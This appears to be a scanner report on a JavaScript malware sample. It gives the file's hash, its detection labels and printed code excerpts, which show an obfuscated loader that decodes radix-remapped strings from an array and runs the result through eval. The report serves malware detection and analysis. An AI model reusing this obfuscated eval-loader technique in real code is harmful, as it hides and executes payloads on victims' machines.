Suspicious ^80% javascript-malware-collection Download

20151211_1a02e50c9c4ef354787edc48eaccaa2d.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256523c5ba0c3171437cc482257d277fc95b3c233ee2f824482f8f903decfb16775

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function XSNlL(BemiNEUinKr,McblXHdVQxwwy,zPcxkDgq){pswj=parseInt(BemiNEUinKr,McblXHdVQxwwy);lUvRQ=pswj.toString(zPcxkDgq);return lUvRQ;}function AvLTVqhoTtnnEEd(aNTIxNVkfPjerXQVy){eval(aNTIxNVkfPjerXQVy)}
3function FuUTbqGODDVRtSvdutpEuVLVItWsTBESAykfGuCzlyqEeiDsxruPRI(sMsTyQxKZYGaJ,gLEWADFtMEfyrw){ return tjSZY[XSNlL(sMsTyQxKZYGaJ[gLEWADFtMEfyrw],(4651+473)/244,(3339+711)/405)];}
4function mJmZVSJ(nUKxYtDWnbOZCrEJcHrurMllmSvgxLiQokXv) {return !isNaN(parseFloat(nUKxYtDWnbOZCrEJcHrurMllmSvgxLiQokXv)) && isFinite(nUKxYtDWnbOZCrEJcHrurMllmSvgxLiQokXv);}
5function HfzhZBrLmDG(uofymQVx,SASfeq){return uofymQVx.split(SASfeq)}
6var f=new Array("d","a","d","a","5d","4d","59","1b","50","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  wRVvJ=[f,y];
9var yDGVAhdLo=[];
10function ImCVUlxuWSRfFxiwh(wRVvJ){mPjSBvVCOPy= '';PTSsTYahBLP=(-359+359)/458; while(true){if(PTSsTYahBLP >= (122+832)/477)break;yDGVAhdLo[PTSsTYahBLP]=(-442+442)/866; while(true) { if(yDGVAhdLo[PTSsTYahBLP] > wRVvJ[PTSsTYahBLP].length-(-444+757)/313) { break; } if (mJmZVSJ(XSNlL(wRVvJ[PTSsTYahBLP][yDGVAhdLo[PTSsTYahBLP]],(-326+998)/32,(9257+493)/975))) {mPjSBvVCOPy += FuUTbqGODDVRtSvdutpEuVLVItWsTBESAykfGuCzlyqEeiDsxruPRI([wRVvJ[PTSsTYahBLP][yDGVAhdLo[PTSsTYahBLP]]], (-119+119)/228);} yDGVAhdLo[PTSsTYahBLP]++;}PTSsTYahBLP++;} return mPjSBvVCOPy}
11AvLTVqhoTtnnEEd(ImCVUlxuWSRfFxiwh(wRVvJ));